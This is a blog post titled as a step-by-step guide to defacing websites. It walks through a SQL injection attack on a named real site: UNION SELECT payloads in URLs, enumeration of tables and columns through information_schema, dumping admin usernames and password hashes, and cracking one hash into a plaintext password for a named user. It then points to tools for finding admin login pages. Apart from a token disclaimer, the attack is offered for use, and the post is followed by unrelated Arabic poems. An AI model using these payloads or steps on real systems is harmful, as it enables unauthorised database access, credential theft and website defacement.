Skip to main content

SQL Injection | Step by Step deface website

What is SQL injection ?
SQL stands for Structured Query Language. It is very high level language,I mean close to humans.
Like SELECT,INSERT,DELETE,UPDATE queries are used to select,add data,delete data,update data
respectively.SQL is used to
design the databses. The information is stored in databses.
SQL injection is the vulnerability occuring in database layer of application which allow attacker to see
the contents stored in database. This vulnerabilty occures when the user's input is not filtered or
improperly filtered.Example the webpages links in format
www.anything.com/something.php?something=something, example
www.tartanarmy.com/news/news.php?id=130.
Here we are passing 130 to database and it returns the results accordingly. Lets attach a single quote at the end (') that is
www.tartanarmy.com/news/news.php?id=130'
and we got an error on the screen because it included the single quote (') while processing the results. It assures us that it didn't filter our input and is vulnerable to attack.

Some basics-:
Every database server has databases on it. Every database has tables in it, tables have columns in it and finally data is stored in columns.






We Have chosen database "explore_hacking" from six databases. Its has four tables admin,articles,products,subscribers. Each table has further columns and data stored in them . For example we chose 'admin' table, it has columns id,username,password,email.

What is information_schema ?
It is information database present in all SQL database severs(version>5) by default. It contains
information like names of tables,columns present in all other databases.

We have opened database "information_schema" which is present by default and the table named as "TABLES" in database.





SQL Injection Tutorial :-
This tutorial is only for educational purposes. Kindly do not misuse it.
Log on to http://www.tartanarmy.com/news/news.php?id=130. Basically we are going to send the queries through URL to get back results on screen accordingly. The motive is to get name of table, name of colmun in which usernames and passwords are stored and finally fetching them. Instead of copying and pasting the long links, simply click on "click here" and open in new tab.

Step1.Find number of columns.
Lets use "ORDER BY" clause here, it is used to sort the columns.Choose any number,
say 10. Here I have assumed that number columns cant be more then 10."--" is used for making anything after it comment.
Now go to this URL
http://www.tartanarmy.com/news/news.php?id=130 order by 10-- Click here
Actually we instructed it sort the result by 10th column. But it returned us with an error,this
means number of columns are less then 10. Lets replace it with 9.

http://www.tartanarmy.com/news/news.php?id=130 order by 9. But again we got an error. This
means number of columns are less than 9. Like this we keep on moving, until we dont get any error.
Finally we reach on '6'
http://www.tartanarmy.com/news/news.php?id=130 order by 6--
we didn't get any error, this means there are 6 colums.

Step 2.Find vulnerable columns.
Now lets use "UNION ALL" and "SELECT" command. Remember to put dash (-) before 130.
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,2,3,4,5,6--. Click here
We would get a couple of numbers on screen. The bold ones are the most vulnerable columns.
In this case the most vulnerable is number 2.



Step 3. Find database version.
Replace the most vulnerable column with "@@version" or "verson()" (if first one doesn't work).
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,@@version,3,4,5,6-- Click here
We got the version on screen. It is. The only thing to note is that version is 5 point something that
is greater than 5. We would have followed some other approach in case the version would be
less than 5 because there is no database by default like "information_schema" which stores information about tables/columns of other databases. in version less than 5.

Step 4. Finding table names.
Replace vulnerable column no. with "table_name".
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,table_name,3,4,5,6 from
information_schema.tables where table_schema=database()--
Click here
We got first table name on the screen.
To get all tables use group_concat
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()-- Click here

Step 5.Finding column names.
Simlary get all the columns by simply replacing 'table' with 'column'
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(column_name),3,4,5,6 from
information_schema.columns where table_schema=database()--
Click here
There is a repeating element like in this case is 'id' .From it, we come to know which table number
has which columns.


Step 6.Fetching data from columns.
We can fetch the data stored in any column. But the interesting ones here are username and password.
These columns are in first table that is tar_admin. "0x3a" is used simply to insert a colon in result to separate it, it is hex of colon.

http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin--. Click Here

So finally we got the usernames and passwords on screen. But passwords are encrypted.
Mostly these encryptions are crackable. Lets choose any username say
"Sneds". The password in encrypted form is 7d372d3f4ad3116c9e455b20e946dd15 .Lets logon to http://md5crack.com/crackmd5.php and put the hashed(encrypted) password here.
And it would crack for us. We got 'oorwullie' in result ( password in clear text).


Note:Hashes are type of encryptions which are irreversible. There are numberless online crackers available. Keep trying. Sometimes very strong hashes can not be cracked.
Where is the login panel or login page of website ?
So you got the key, where is lock now ? Most of the websites have login pages at default locations.
There is any website, say www.xyz.com. The login page would be at
www.xyz.com/admin , www.xyz.com/administrator , www.xyz.com/adminlogin etc.
Download this admin page finder from here and it would try all these default pages.



So You came to know that how deadly it could be to allow users to send their input without any filteration/validation. So never be lazy at programming and use possible filteration mechanisms.

Comments

Popular posts from this blog

ظروفنا ماتستحي وايامنا ماهيب ريف ,,

القصيدة لـ محمد بن الذيب ..... ويقول فيها ظروفنا ماتستحي وايامنا ماهيب ريف = والأرض من كثر القحط ماعاد شفت اعلافها وحقي على البيت القوي ماهو على البيت الضعيف = وإلى بغيت أدمدم الجمه على غرافها خليت شمس العشق مركونه على حد الرصيف = الخطه المحبوكه تحقق جميع اهدافها يا اهل الثنائيات مضمون الثنائه سخيف= أنا لحالي أحكم الدفه مع مجدافها والمعرفي (شرطي) وخاواني ورقيته (عريف) = لكن تجهله العلوم ارباعها وانصافها يبغى يسوي مع جنابي بهرجه وانا مخيف = وهو الى شاف الدروب المستحيله خافها والمختلف مجلة الجمهور والشعر النظيف = ماهي غريبة لالقيتو صورتي في غلافها بس الغريبة يوم مريت الحساء ياهل القطيف = تذكرت عيني مدامعها على مشرافها واليوم مابه عذر يوم ارقاك يالضلع المنيف = الا اني اتعب ارجولي من كثر وقافها واكثر مشاريه الشجر عليك يافصل الخريف = هتكت ستر غصونها واسرفت في كلافها انا جويع وجوعي مواصل ماهو قطعة رغيف = وعيني من الفرقا حداها الهم عن محرافها والعفو عند المقدره صوره من الحب العفيف = هذا كلام اللي قطار العمر كله طافها اخذت فـ أبها شهر كامل يسمونه مصيف = والشمس تحجبها السحابه والرعود خلافها وعي

رابـــــح صقـــر == انا كـــــــــــــذا

أنا كذا من خلقني الهي أن جيت ببكي كذبتني المناديل *** الصبح أبصرخ وأمسي أجرح شفاهي أبعد علي البوح من نجمه سهيل نصفي يموت وباقي النصف لاهي راسي تجاذبها يدين المهابيل *** أكبرت فيك الحزم ناهي وراهي وأصغرت فيك الركض لمصافح الليل حبيبتي ما دونك ألا النواهي تكبيره الإحرام قيد الرجاجيل *** كلن على طبعه يفسر أشباهي ما غيرك الي لمسني نزعه النيل لقيت بك كذبن على الصدق زاهي ولقيت بك صدقن كما ريحه الهيل *** أنا أحبك من خلقني الهي ما تصدقي لو صدقتني المناديل

احبك ولا ظني ضلوعي تحمل . - محمد عبده

احبك .. احبك احبك ولا ظني ضلوعي تحمل .. أحبك عسى ربي يقوي ضلوعي احبك .. احبك احبك واظن الصبر يا زين كمل .. أحبك ولا موني بحبك أربوعي حبيبي .. حبيبي حبيبي دخيلك في محبك تجمل .. حبيبي ترفق جف منبع دموعي عشيري .. عشيري عشيري عيوني بازرق الدمع همل .. عشيري دموعي بيدي طفن شموعي ظنيني .. ظنيني ظنيني هذا قلبي رجا فيك وأمل .. ظنيني كفاني في هواكم خضوعي مقام: بياتي